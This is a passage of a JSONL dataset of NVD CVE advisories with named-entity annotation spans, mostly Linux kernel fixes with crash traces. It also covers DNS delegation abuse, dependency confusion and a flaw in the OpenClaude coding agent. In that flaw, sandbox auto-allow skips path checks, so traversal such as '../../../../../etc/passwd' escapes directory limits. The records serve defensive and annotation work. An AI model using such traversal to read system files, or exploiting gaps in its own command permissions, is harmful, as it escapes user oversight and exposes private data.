09\nRSP: 002b:00007ffd1f83d638 EFLAGS: 00000246 ORIG_RAX: 0000000000000037\nRAX: ffffffffffffffda RBX: 00007ffd1f83d680 RCX: 00007f62844685ee\nRDX: 0000000000000040 RSI: 0000000000000000 RDI: 0000000000000004\nRBP: 0000000000000004 R08: 00007ffd1f83d670 R09: 0000558798ffa2a0\nR10: 00007ffd1f83d680 R11: 0000000000000246 R12: 00007ffd1f83e3b2\nR13: 00007f6284\n---truncated---", "spans": {"FILEPATH: /16/2017": [[977, 985]], "FILEPATH: /ipv4/netfilter/iptable_nat.c": [[1023, 1052], [1059, 1088], [2572, 2601], [2608, 2637]], "FILEPATH: /x86/kernel/dumpstack.c": [[2067, 2090], [2123, 2146], [2230, 2253], [2262, 2285]], "FILEPATH: /netfilter/x_tables.c": [[2178, 2199], [2679, 2700], [2739, 2760]], "FILEPATH: /x86/mm/fault.c": [[2315, 2330], [2433, 2448], [2458, 2473]], "FILEPATH: /arch/x86/include/asm/irqflags.h": [[2356, 2388], [2393, 2425]], "FILEPATH: /arch/x86/include/asm/idtentry.h": [[2504, 2536]], "FILEPATH: /ipv4/netfilter/ip_tables.c": [[2781, 2808], [2965, 2992]], "FILEPATH: /bpfilter/bpfilter_kern.c": [[3024, 3049]], "FILEPATH: /netfilter/nf_sockopt.c": [[3082, 3105]], "FILEPATH: /ipv4/ip_sockglue.c": [[3130, 3149]], "FILEPATH: /x86/entry/common.c": [[3292, 3311], [3319, 3338]], "FILEPATH: /x86/entry/entry_64.S": [[3380, 3401]], "FILEPATH: security.c": [[2844, 2854]], "FILEPATH: capability.c": [[2901, 2913], [2925, 2937]], "FILEPATH: socket.c": [[3179, 3187], [3221, 3229], [3239, 3247], [3257, 3265]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Amazon": [[941, 947]], "VULNERABILITY: NULL pointer dereference": [[672, 696]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-42270"}}
{"text": "A vulnerability named 'Non-Responsive Delegation Attack' (NRDelegation Attack) has been discovered in various DNS resolving software. The NRDelegation Attack works by having a malicious delegation with a considerable number of non responsive nameservers. The attack starts by querying a resolver for a record that relies on those unresponsive nameservers. The attack can cause a resolver to spend a lot of time/resources resolving records under a malicious delegation point where a considerable number of unresponsive NS records reside. It can trigger high CPU usage in some resolver implementations that continually look in the cache for resolved NS records in that delegation. This can lead to degraded performance and eventually denial of service in orchestrated attacks. Unbound does not suffer from high CPU usage, but resources are still needed for resolving the malicious delegation. Unbound will keep trying to resolve the record until hard limits are reached. Based on the nature of the attack and the replies, different limits could be reached. From version 1.16.3 on, Unbound introduces fixes for better performance when under load, by cutting opportunistic queries for nameserver discovery and DNSKEY prefetching and limiting the number of times a delegation point can issue a cache lookup for missing records.", "spans": {"VULNERABILITY: denial of service": [[732, 749]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-3204"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbnxt_re: avoid shift undefined behavior in bnxt_qplib_alloc_init_hwq\n\nUndefined behavior is triggered when bnxt_qplib_alloc_init_hwq is called\nwith hwq_attr->aux_depth != 0 and hwq_attr->aux_stride == 0.\nIn that case, \"roundup_pow_of_two(hwq_attr->aux_stride)\" gets called.\nroundup_pow_of_two is documented as undefined for 0.\n\nFix it in the one caller that had this combination.\n\nThe undefined behavior was detected by UBSAN:\n  UBSAN: shift-out-of-bounds in ./include/linux/log2.h:57:13\n  shift exponent 64 is too large for 64-bit type 'long unsigned int'\n  CPU: 24 PID: 1075 Comm: (udev-worker) Not tainted 6.9.0-rc6+ #4\n  Hardware name: Abacus electric, s.r.o. - servis@abacus.cz Super Server/H12SSW-iN, BIOS 2.7 10/25/2023\n  Call Trace:\n   <TASK>\n   dump_stack_lvl+0x5d/0x80\n   ubsan_epilogue+0x5/0x30\n   __ubsan_handle_shift_out_of_bounds.cold+0x61/0xec\n   __roundup_pow_of_two+0x25/0x35 [bnxt_re]\n   bnxt_qplib_alloc_init_hwq+0xa1/0x470 [bnxt_re]\n   bnxt_qplib_create_qp+0x19e/0x840 [bnxt_re]\n   bnxt_re_create_qp+0x9b1/0xcd0 [bnxt_re]\n   ? srso_alias_return_thunk+0x5/0xfbef5\n   ? srso_alias_return_thunk+0x5/0xfbef5\n   ? __kmalloc+0x1b6/0x4f0\n   ? create_qp.part.0+0x128/0x1c0 [ib_core]\n   ? __pfx_bnxt_re_create_qp+0x10/0x10 [bnxt_re]\n   create_qp.part.0+0x128/0x1c0 [ib_core]\n   ib_create_qp_kernel+0x50/0xd0 [ib_core]\n   create_mad_qp+0x8e/0xe0 [ib_core]\n   ? __pfx_qp_event_handler+0x10/0x10 [ib_core]\n   ib_mad_init_device+0x2be/0x680 [ib_core]\n   add_client_context+0x10d/0x1a0 [ib_core]\n   enable_device_and_get+0xe0/0x1d0 [ib_core]\n   ib_register_device+0x53c/0x630 [ib_core]\n   ? srso_alias_return_thunk+0x5/0xfbef5\n   bnxt_re_probe+0xbd8/0xe50 [bnxt_re]\n   ? __pfx_bnxt_re_probe+0x10/0x10 [bnxt_re]\n   auxiliary_bus_probe+0x49/0x80\n   ? driver_sysfs_add+0x57/0xc0\n   really_probe+0xde/0x340\n   ? pm_runtime_barrier+0x54/0x90\n   ? __pfx___driver_attach+0x10/0x10\n   __driver_probe_device+0x78/0x110\n   driver_probe_device+0x1f/0xa0\n   __driver_attach+0xba/0x1c0\n   bus_for_each_dev+0x8f/0xe0\n   bus_add_driver+0x146/0x220\n   driver_register+0x72/0xd0\n   __auxiliary_driver_register+0x6e/0xd0\n   ? __pfx_bnxt_re_mod_init+0x10/0x10 [bnxt_re]\n   bnxt_re_mod_init+0x3e/0xff0 [bnxt_re]\n   ? __pfx_bnxt_re_mod_init+0x10/0x10 [bnxt_re]\n   do_one_initcall+0x5b/0x310\n   do_init_module+0x90/0x250\n   init_module_from_file+0x86/0xc0\n   idempotent_init_module+0x121/0x2b0\n   __x64_sys_finit_module+0x5e/0xb0\n   do_syscall_64+0x82/0x160\n   ? srso_alias_return_thunk+0x5/0xfbef5\n   ? syscall_exit_to_user_mode_prepare+0x149/0x170\n   ? srso_alias_return_thunk+0x5/0xfbef5\n   ? syscall_exit_to_user_mode+0x75/0x230\n   ? srso_alias_return_thunk+0x5/0xfbef5\n   ? do_syscall_64+0x8e/0x160\n   ? srso_alias_return_thunk+0x5/0xfbef5\n   ? __count_memcg_events+0x69/0x100\n   ? srso_alias_return_thunk+0x5/0xfbef5\n   ? count_memcg_events.constprop.0+0x1a/0x30\n   ? srso_alias_return_thunk+0x5/0xfbef5\n   ? handle_mm_fault+0x1f0/0x300\n   ? srso_alias_return_thunk+0x5/0xfbef5\n   ? do_user_addr_fault+0x34e/0x640\n   ? srso_alias_return_thunk+0x5/0xfbef5\n   ? srso_alias_return_thunk+0x5/0xfbef5\n   entry_SYSCALL_64_after_hwframe+0x76/0x7e\n  RIP: 0033:0x7f4e5132821d\n  Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e3 db 0c 00 f7 d8 64 89 01 48\n  RSP: 002b:00007ffca9c906a8 EFLAGS: 00000246 ORIG_RAX: 0000000000000139\n  RAX: ffffffffffffffda RBX: 0000563ec8a8f130 RCX: 00007f4e5132821d\n  RDX: 0000000000000000 RSI: 00007f4e518fa07d RDI: 000000000000003b\n  RBP: 00007ffca9c90760 R08: 00007f4e513f6b20 R09: 00007ffca9c906f0\n  R10: 0000563ec8a8faa0 R11: 0000000000000246 R12: 00007f4e518fa07d\n  R13: 0000000000020000 R14: 0000563ec8409e90 R15: 0000563ec8a8fa60\n   </TASK>\n  ---[ end trace ]---", "spans": {"EMAIL: servis@abacus.cz": [[735, 751]], "FILEPATH: /include/linux/log2.h": [[529, 550]], "FILEPATH: /25/2023": [[787, 795]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-38540"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: typec: altmode should keep reference to parent\n\nThe altmode device release refers to its parent device, but without keeping\na reference to it.\n\nWhen registering the altmode, get a reference to the parent and put it in\nthe release function.\n\nBefore this fix, when using CONFIG_DEBUG_KOBJECT_RELEASE, we see issues\nlike this:\n\n[   43.572860] kobject: 'port0.0' (ffff8880057ba008): kobject_release, parent 0000000000000000 (delayed 3000)\n[   43.573532] kobject: 'port0.1' (ffff8880057bd008): kobject_release, parent 0000000000000000 (delayed 1000)\n[   43.574407] kobject: 'port0' (ffff8880057b9008): kobject_release, parent 0000000000000000 (delayed 3000)\n[   43.575059] kobject: 'port1.0' (ffff8880057ca008): kobject_release, parent 0000000000000000 (delayed 4000)\n[   43.575908] kobject: 'port1.1' (ffff8880057c9008): kobject_release, parent 0000000000000000 (delayed 4000)\n[   43.576908] kobject: 'typec' (ffff8880062dbc00): kobject_release, parent 0000000000000000 (delayed 4000)\n[   43.577769] kobject: 'port1' (ffff8880057bf008): kobject_release, parent 0000000000000000 (delayed 3000)\n[   46.612867] ==================================================================\n[   46.613402] BUG: KASAN: slab-use-after-free in typec_altmode_release+0x38/0x129\n[   46.614003] Read of size 8 at addr ffff8880057b9118 by task kworker/2:1/48\n[   46.614538]\n[   46.614668] CPU: 2 UID: 0 PID: 48 Comm: kworker/2:1 Not tainted 6.12.0-rc1-00138-gedbae730ad31 #535\n[   46.615391] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.15.0-1 04/01/2014\n[   46.616042] Workqueue: events kobject_delayed_cleanup\n[   46.616446] Call Trace:\n[   46.616648]  <TASK>\n[   46.616820]  dump_stack_lvl+0x5b/0x7c\n[   46.617112]  ? typec_altmode_release+0x38/0x129\n[   46.617470]  print_report+0x14c/0x49e\n[   46.617769]  ? rcu_read_unlock_sched+0x56/0x69\n[   46.618117]  ? __virt_addr_valid+0x19a/0x1ab\n[   46.618456]  ? kmem_cache_debug_flags+0xc/0x1d\n[   46.618807]  ? typec_altmode_release+0x38/0x129\n[   46.619161]  kasan_report+0x8d/0xb4\n[   46.619447]  ? typec_altmode_release+0x38/0x129\n[   46.619809]  ? process_scheduled_works+0x3cb/0x85f\n[   46.620185]  typec_altmode_release+0x38/0x129\n[   46.620537]  ? process_scheduled_works+0x3cb/0x85f\n[   46.620907]  device_release+0xaf/0xf2\n[   46.621206]  kobject_delayed_cleanup+0x13b/0x17a\n[   46.621584]  process_scheduled_works+0x4f6/0x85f\n[   46.621955]  ? __pfx_process_scheduled_works+0x10/0x10\n[   46.622353]  ? hlock_class+0x31/0x9a\n[   46.622647]  ? lock_acquired+0x361/0x3c3\n[   46.622956]  ? move_linked_works+0x46/0x7d\n[   46.623277]  worker_thread+0x1ce/0x291\n[   46.623582]  ? __kthread_parkme+0xc8/0xdf\n[   46.623900]  ? __pfx_worker_thread+0x10/0x10\n[   46.624236]  kthread+0x17e/0x190\n[   46.624501]  ? kthread+0xfb/0x190\n[   46.624756]  ? __pfx_kthread+0x10/0x10\n[   46.625015]  ret_from_fork+0x20/0x40\n[   46.625268]  ? __pfx_kthread+0x10/0x10\n[   46.625532]  ret_from_fork_asm+0x1a/0x30\n[   46.625805]  </TASK>\n[   46.625953]\n[   46.626056] Allocated by task 678:\n[   46.626287]  kasan_save_stack+0x24/0x44\n[   46.626555]  kasan_save_track+0x14/0x2d\n[   46.626811]  __kasan_kmalloc+0x3f/0x4d\n[   46.627049]  __kmalloc_noprof+0x1bf/0x1f0\n[   46.627362]  typec_register_port+0x23/0x491\n[   46.627698]  cros_typec_probe+0x634/0xbb6\n[   46.628026]  platform_probe+0x47/0x8c\n[   46.628311]  really_probe+0x20a/0x47d\n[   46.628605]  device_driver_attach+0x39/0x72\n[   46.628940]  bind_store+0x87/0xd7\n[   46.629213]  kernfs_fop_write_iter+0x1aa/0x218\n[   46.629574]  vfs_write+0x1d6/0x29b\n[   46.629856]  ksys_write+0xcd/0x13b\n[   46.630128]  do_syscall_64+0xd4/0x139\n[   46.630420]  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[   46.630820]\n[   46.630946] Freed by task 48:\n[   46.631182]  kasan_save_stack+0x24/0x44\n[   46.631493]  kasan_save_track+0x14/0x2d\n[   46.631799]  kasan_save_free_info+0x3f/0x4d\n[   46.632144]  __kasan_slab_free+0x37/0x45\n[   46.632474]\n---truncated---", "spans": {"FILEPATH: /01/2014": [[1607, 1615]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1554, 1558]], "VULNERABILITY: use-after-free": [[1277, 1291]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50150"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdkfd: Correct the migration DMA map direction\n\nThe SVM DMA device map direction should be set the same as\nthe DMA unmap setting, otherwise the DMA core will report\nthe following warning.\n\nBefore finialize this solution, there're some discussion on\nthe DMA mapping type(stream-based or coherent) in this KFD\nmigration case, followed by https://lore.kernel.org/all/04d4ab32\n-45a1-4b88-86ee-fb0f35a0ca40@amd.com/T/.\n\nAs there's no dma_sync_single_for_*() in the DMA buffer accessed\nthat because this migration operation should be sync properly and\nautomatically. Give that there's might not be a performance problem\nin various cache sync policy of DMA sync. Therefore, in order to\nsimplify the DMA direction setting alignment, let's set the DMA map\ndirection as BIDIRECTIONAL.\n\n[  150.834218] WARNING: CPU: 8 PID: 1812 at kernel/dma/debug.c:1028 check_unmap+0x1cc/0x930\n[  150.834225] Modules linked in: amdgpu(OE) amdxcp drm_exec(OE) gpu_sched drm_buddy(OE) drm_ttm_helper(OE) ttm(OE) drm_suballoc_helper(OE) drm_display_helper(OE) drm_kms_helper(OE) i2c_algo_bit rpcsec_gss_krb5 auth_rpcgss nfsv4 nfs lockd grace netfs xt_conntrack xt_MASQUERADE nf_conntrack_netlink xfrm_user xfrm_algo iptable_nat xt_addrtype iptable_filter br_netfilter nvme_fabrics overlay nfnetlink_cttimeout nfnetlink openvswitch nsh nf_conncount nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 libcrc32c bridge stp llc sch_fq_codel intel_rapl_msr amd_atl intel_rapl_common snd_hda_codec_realtek snd_hda_codec_generic snd_hda_scodec_component snd_hda_codec_hdmi snd_hda_intel snd_intel_dspcfg edac_mce_amd snd_pci_acp6x snd_hda_codec snd_acp_config snd_hda_core snd_hwdep snd_soc_acpi kvm_amd sunrpc snd_pcm kvm binfmt_misc snd_seq_midi crct10dif_pclmul snd_seq_midi_event ghash_clmulni_intel sha512_ssse3 snd_rawmidi nls_iso8859_1 sha256_ssse3 sha1_ssse3 snd_seq aesni_intel snd_seq_device crypto_simd snd_timer cryptd input_leds\n[  150.834310]  wmi_bmof serio_raw k10temp rapl snd sp5100_tco ipmi_devintf soundcore ccp ipmi_msghandler cm32181 industrialio mac_hid msr parport_pc ppdev lp parport efi_pstore drm(OE) ip_tables x_tables pci_stub crc32_pclmul nvme ahci libahci i2c_piix4 r8169 nvme_core i2c_designware_pci realtek i2c_ccgx_ucsi video wmi hid_generic cdc_ether usbnet usbhid hid r8152 mii\n[  150.834354] CPU: 8 PID: 1812 Comm: rocrtst64 Tainted: G           OE      6.10.0-custom #492\n[  150.834358] Hardware name: AMD Majolica-RN/Majolica-RN, BIOS RMJ1009A 06/13/2021\n[  150.834360] RIP: 0010:check_unmap+0x1cc/0x930\n[  150.834363] Code: c0 4c 89 4d c8 e8 34 bf 86 00 4c 8b 4d c8 4c 8b 45 c0 48 8b 4d b8 48 89 c6 41 57 4c 89 ea 48 c7 c7 80 49 b4 84 e8 b4 81 f3 ff <0f> 0b 48 c7 c7 04 83 ac 84 e8 76 ba fc ff 41 8b 76 4c 49 8d 7e 50\n[  150.834365] RSP: 0018:ffffaac5023739e0 EFLAGS: 00010086\n[  150.834368] RAX: 0000000000000000 RBX: ffffffff8566a2e0 RCX: 0000000000000027\n[  150.834370] RDX: ffff8f6a8f621688 RSI: 0000000000000001 RDI: ffff8f6a8f621680\n[  150.834372] RBP: ffffaac502373a30 R08: 00000000000000c9 R09: ffffaac502373850\n[  150.834373] R10: ffffaac502373848 R11: ffffffff84f46328 R12: ffffaac502373a40\n[  150.834375] R13: ffff8f6741045330 R14: ffff8f6741a77700 R15: ffffffff84ac831b\n[  150.834377] FS:  00007faf0fc94c00(0000) GS:ffff8f6a8f600000(0000) knlGS:0000000000000000\n[  150.834379] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  150.834381] CR2: 00007faf0b600020 CR3: 000000010a52e000 CR4: 0000000000350ef0\n[  150.834383] Call Trace:\n[  150.834385]  <TASK>\n[  150.834387]  ? show_regs+0x6d/0x80\n[  150.834393]  ? __warn+0x8c/0x140\n[  150.834397]  ? check_unmap+0x1cc/0x930\n[  150.834400]  ? report_bug+0x193/0x1a0\n[  150.834406]  ? handle_bug+0x46/0x80\n[  150.834410]  ? exc_invalid_op+0x1d/0x80\n[  150.834413]  ? asm_exc_invalid_op+0x1f/0x30\n[  150.834420]  ? check_unmap+0x1cc/0x930\n[  150.834425]  debug_dma_unmap_page+0x86/0x90\n[  150.834431]  ? srso_return_thunk+0x5/0x5f\n[  150.834435] \n---truncated---", "spans": {"URL: https://lore.kernel.org/all/04d4ab32": [[410, 446]], "DOMAIN: amd.com": [[476, 483]], "FILEPATH: /T/.": [[483, 487]], "FILEPATH: /dma/debug.c": [[900, 912]], "FILEPATH: /13/2021": [[2522, 2530]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: AMD": [[2477, 2480]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-57897"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvirtio_net: Fix misalignment bug in struct virtnet_info\n\nUse the new TRAILING_OVERLAP() helper to fix a misalignment bug\nalong with the following warning:\n\ndrivers/net/virtio_net.c:429:46: warning: structure containing a flexible array member is not at the end of another structure [-Wflex-array-member-not-at-end]\n\nThis helper creates a union between a flexible-array member (FAM)\nand a set of members that would otherwise follow it (in this case\n`u8 rss_hash_key_data[VIRTIO_NET_RSS_MAX_KEY_SIZE];`). This\noverlays the trailing members (rss_hash_key_data) onto the FAM\n(hash_key_data) while keeping the FAM and the start of MEMBERS aligned.\nThe static_assert() ensures this alignment remains.\n\nNotice that due to tail padding in flexible `struct\nvirtio_net_rss_config_trailer`, `rss_trailer.hash_key_data`\n(at offset 83 in struct virtnet_info) and `rss_hash_key_data` (at\noffset 84 in struct virtnet_info) are misaligned by one byte. See\nbelow:\n\nstruct virtio_net_rss_config_trailer {\n        __le16                     max_tx_vq;            /*     0     2 */\n        __u8                       hash_key_length;      /*     2     1 */\n        __u8                       hash_key_data[];      /*     3     0 */\n\n        /* size: 4, cachelines: 1, members: 3 */\n        /* padding: 1 */\n        /* last cacheline: 4 bytes */\n};\n\nstruct virtnet_info {\n...\n        struct virtio_net_rss_config_trailer rss_trailer; /*    80     4 */\n\n        /* XXX last struct has 1 byte of padding */\n\n        u8                         rss_hash_key_data[40]; /*    84    40 */\n...\n        /* size: 832, cachelines: 13, members: 48 */\n        /* sum members: 801, holes: 8, sum holes: 31 */\n        /* paddings: 2, sum paddings: 5 */\n};\n\nAfter changes, those members are correctly aligned at offset 795:\n\nstruct virtnet_info {\n...\n        union {\n                struct virtio_net_rss_config_trailer rss_trailer; /*   792     4 */\n                struct {\n                        unsigned char __offset_to_hash_key_data[3]; /*   792     3 */\n                        u8         rss_hash_key_data[40]; /*   795    40 */\n                };                                       /*   792    43 */\n        };                                               /*   792    44 */\n...\n        /* size: 840, cachelines: 14, members: 47 */\n        /* sum members: 801, holes: 8, sum holes: 35 */\n        /* padding: 4 */\n        /* paddings: 1, sum paddings: 4 */\n        /* last cacheline: 8 bytes */\n};\n\nAs a result, the RSS key passed to the device is shifted by 1\nbyte: the last byte is cut off, and instead a (possibly\nuninitialized) byte is added at the beginning.\n\nAs a last note `struct virtio_net_rss_config_hdr *rss_hdr;` is also\nmoved to the end, since it seems those three members should stick\naround together. :)", "spans": {"FILEPATH: /net/virtio_net.c": [[232, 249]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23143"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsfc: fix considering that all channels have TX queues\n\nNormally, all channels have RX and TX queues, but this is not true if\nmodparam efx_separate_tx_channels=1 is used. In that cases, some\nchannels only have RX queues and others only TX queues (or more\npreciselly, they have them allocated, but not initialized).\n\nFix efx_channel_has_tx_queues to return the correct value for this case\ntoo.\n\nMessages shown at probe time before the fix:\n sfc 0000:03:00.0 ens6f0np0: MC command 0x82 inlen 544 failed rc=-22 (raw=0) arg=0\n ------------[ cut here ]------------\n netdevice: ens6f0np0: failed to initialise TXQ -1\n WARNING: CPU: 1 PID: 626 at drivers/net/ethernet/sfc/ef10.c:2393 efx_ef10_tx_init+0x201/0x300 [sfc]\n [...] stripped\n RIP: 0010:efx_ef10_tx_init+0x201/0x300 [sfc]\n [...] stripped\n Call Trace:\n  efx_init_tx_queue+0xaa/0xf0 [sfc]\n  efx_start_channels+0x49/0x120 [sfc]\n  efx_start_all+0x1f8/0x430 [sfc]\n  efx_net_open+0x5a/0xe0 [sfc]\n  __dev_open+0xd0/0x190\n  __dev_change_flags+0x1b3/0x220\n  dev_change_flags+0x21/0x60\n [...] stripped\n\nMessages shown at remove time before the fix:\n sfc 0000:03:00.0 ens6f0np0: failed to flush 10 queues\n sfc 0000:03:00.0 ens6f0np0: failed to flush queues", "spans": {"FILEPATH: /net/ethernet/sfc/ef10.c": [[715, 739]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49378"}}
{"text": "OpenClaude is an open-source coding-agent command line interface for cloud and local model providers. Versions prior to 0.5.1 have a logic flaw in `bashToolHasPermission()` inside `src/tools/BashTool/bashPermissions.ts`. When the sandbox auto-allow feature is active and no explicit deny rule is configured, the function returns an `allow` result immediately — before the path constraint filter (`checkPathConstraints`) is ever evaluated. This allows commands containing path traversal sequences (e.g., `../../../../../etc/passwd`) to bypass directory restrictions entirely. Version 0.5.1 contains a patch for the issue.", "spans": {"FILEPATH: /tools/BashTool/bashPermissions.ts": [[184, 218]], "FILEPATH: /../../../../etc/passwd": [[506, 529]], "VULNERABILITY: path traversal": [[471, 485]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35570"}}
{"text": "<p>Depending on configuration of various package managers it is possible for an attacker to insert a malicious package into a package manager's repository which can be retrieved and used during development, build, and release processes. This insertion could lead to remote code execution. We believe this vulnerability affects multiple package managers across multiple languages, including but not limited to: Python/pip, .NET/NuGet, Java/Maven, JavaScript/npm.</p>\n<p><strong>Attack scenarios</strong></p>\n<p>An attacker could take advantage of this ecosystem-wide issue to cause harm in a variety of ways. The original attack scenarios were discovered by Alex Birsan and are detailed in their whitepaper, <a href=\"https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610\">Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies</a>.</p>\n<ul>\n<li><p>With basic knowledge of the target ecosystems, an attacker could create an empty shell for a package and insert malicious code in the install scripts, give it a high version, and publish it to the public repository. Vulnerable victim machines will download the higher version of the package between the public and private repositories and attempt to install it. Due to code incompatibility it will probably error out upon import or upon compilation, making it easier to detect; however the attacker would have gained code execution by that point.</p>\n</li>\n<li><p>An advanced attacker with some inside knowledge of the target could take a copy of a working package, insert the malicious code (in the package itself or in the install), and then publish it to a public repository. The package will likely install and import correctly, granting the attacker an initial foothold and persistence.</p>\n</li>\n</ul>\n<p>These two methods could affect target organizations at any of these various levels:</p>\n<ul>\n<li>Developer machines</li>\n<li>An entire team if the configuration to import the malicious package is uploaded to a code repository</li>\n<li>Continuous integration pipelines if they pull the malicious packages during the build, test, and/or deploy stages</li>\n<li>Customers, download servers, production services if the malicious code has not been detected</li>\n</ul>\n<p>This remote code execution vulnerability can only be addressed by reconfiguring installation tools and workflows, and not by correcting anything in the package repositories themselves. See the <strong>FAQ</strong> section of this CVE for configuration guidance.</p>", "spans": {"URL: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610": [[716, 781]], "SYSTEM: Python": [[410, 416]], "SYSTEM: Java": [[434, 438]], "ORGANIZATION: Microsoft": [[830, 839]], "ORGANIZATION: Apple": [[823, 828]], "ORGANIZATION: npm": [[457, 460]], "VULNERABILITY: remote code execution": [[266, 287], [2272, 2293]], "VULNERABILITY: code execution": [[1408, 1422]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-24105"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmacsec: fix UAF bug for real_dev\n\nCreate a new macsec device but not get reference to real_dev. That can\nnot ensure that real_dev is freed after macsec. That will trigger the\nUAF bug for real_dev as following:\n\n==================================================================\nBUG: KASAN: use-after-free in macsec_get_iflink+0x5f/0x70 drivers/net/macsec.c:3662\nCall Trace:\n ...\n macsec_get_iflink+0x5f/0x70 drivers/net/macsec.c:3662\n dev_get_iflink+0x73/0xe0 net/core/dev.c:637\n default_operstate net/core/link_watch.c:42 [inline]\n rfc2863_policy+0x233/0x2d0 net/core/link_watch.c:54\n linkwatch_do_dev+0x2a/0x150 net/core/link_watch.c:161\n\nAllocated by task 22209:\n ...\n alloc_netdev_mqs+0x98/0x1100 net/core/dev.c:10549\n rtnl_create_link+0x9d7/0xc00 net/core/rtnetlink.c:3235\n veth_newlink+0x20e/0xa90 drivers/net/veth.c:1748\n\nFreed by task 8:\n ...\n kfree+0xd6/0x4d0 mm/slub.c:4552\n kvfree+0x42/0x50 mm/util.c:615\n device_release+0x9f/0x240 drivers/base/core.c:2229\n kobject_cleanup lib/kobject.c:673 [inline]\n kobject_release lib/kobject.c:704 [inline]\n kref_put include/linux/kref.h:65 [inline]\n kobject_put+0x1c8/0x540 lib/kobject.c:721\n netdev_run_todo+0x72e/0x10b0 net/core/dev.c:10327\n\nAfter commit faab39f63c1f (\"net: allow out-of-order netdev unregistration\")\nand commit e5f80fcf869a (\"ipv6: give an IPv6 dev to blackhole_netdev\"), we\ncan add dev_hold_track() in macsec_dev_init() and dev_put_track() in\nmacsec_free_netdev() to fix the problem.", "spans": {"FILEPATH: /net/macsec.c": [[412, 425], [484, 497]], "FILEPATH: /core/dev.c": [[532, 543], [773, 784], [1244, 1255]], "FILEPATH: /core/link_watch.c": [[570, 588], [632, 650], [686, 704]], "FILEPATH: /core/rtnetlink.c": [[824, 841]], "FILEPATH: /net/veth.c": [[880, 891]], "FILEPATH: /base/core.c": [[1019, 1031]], "FILEPATH: /linux/kref.h": [[1142, 1155]], "FILEPATH: slub.c": [[941, 947]], "FILEPATH: util.c": [[974, 980]], "FILEPATH: kobject.c": [[1058, 1067], [1102, 1111], [1197, 1206]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[359, 373]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49390"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nASoC: qcom: sdm845: add missing soundwire runtime stream alloc\n\nDuring the migration of Soundwire runtime stream allocation from\nthe Qualcomm Soundwire controller to SoC's soundcard drivers the sdm845\nsoundcard was forgotten.\n\nAt this point any playback attempt or audio daemon startup, for instance\non sdm845-db845c (Qualcomm RB3 board), will result in stream pointer\nNULL dereference:\n\n Unable to handle kernel NULL pointer dereference at virtual\n address 0000000000000020\n Mem abort info:\n   ESR = 0x0000000096000004\n   EC = 0x25: DABT (current EL), IL = 32 bits\n   SET = 0, FnV = 0\n   EA = 0, S1PTW = 0\n   FSC = 0x04: level 0 translation fault\n Data abort info:\n   ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000\n   CM = 0, WnR = 0, TnD = 0, TagAccess = 0\n   GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\n user pgtable: 4k pages, 48-bit VAs, pgdp=0000000101ecf000\n [0000000000000020] pgd=0000000000000000, p4d=0000000000000000\n Internal error: Oops: 0000000096000004 [#1] PREEMPT SMP\n Modules linked in: ...\n CPU: 5 UID: 0 PID: 1198 Comm: aplay\n Not tainted 6.12.0-rc2-qcomlt-arm64-00059-g9d78f315a362-dirty #18\n Hardware name: Thundercomm Dragonboard 845c (DT)\n pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n pc : sdw_stream_add_slave+0x44/0x380 [soundwire_bus]\n lr : sdw_stream_add_slave+0x44/0x380 [soundwire_bus]\n sp : ffff80008a2035c0\n x29: ffff80008a2035c0 x28: ffff80008a203978 x27: 0000000000000000\n x26: 00000000000000c0 x25: 0000000000000000 x24: ffff1676025f4800\n x23: ffff167600ff1cb8 x22: ffff167600ff1c98 x21: 0000000000000003\n x20: ffff167607316000 x19: ffff167604e64e80 x18: 0000000000000000\n x17: 0000000000000000 x16: ffffcec265074160 x15: 0000000000000000\n x14: 0000000000000000 x13: 0000000000000000 x12: 0000000000000000\n x11: 0000000000000000 x10: 0000000000000000 x9 : 0000000000000000\n x8 : 0000000000000000 x7 : 0000000000000000 x6 : ffff167600ff1cec\n x5 : ffffcec22cfa2010 x4 : 0000000000000000 x3 : 0000000000000003\n x2 : ffff167613f836c0 x1 : 0000000000000000 x0 : ffff16761feb60b8\n Call trace:\n  sdw_stream_add_slave+0x44/0x380 [soundwire_bus]\n  wsa881x_hw_params+0x68/0x80 [snd_soc_wsa881x]\n  snd_soc_dai_hw_params+0x3c/0xa4\n  __soc_pcm_hw_params+0x230/0x660\n  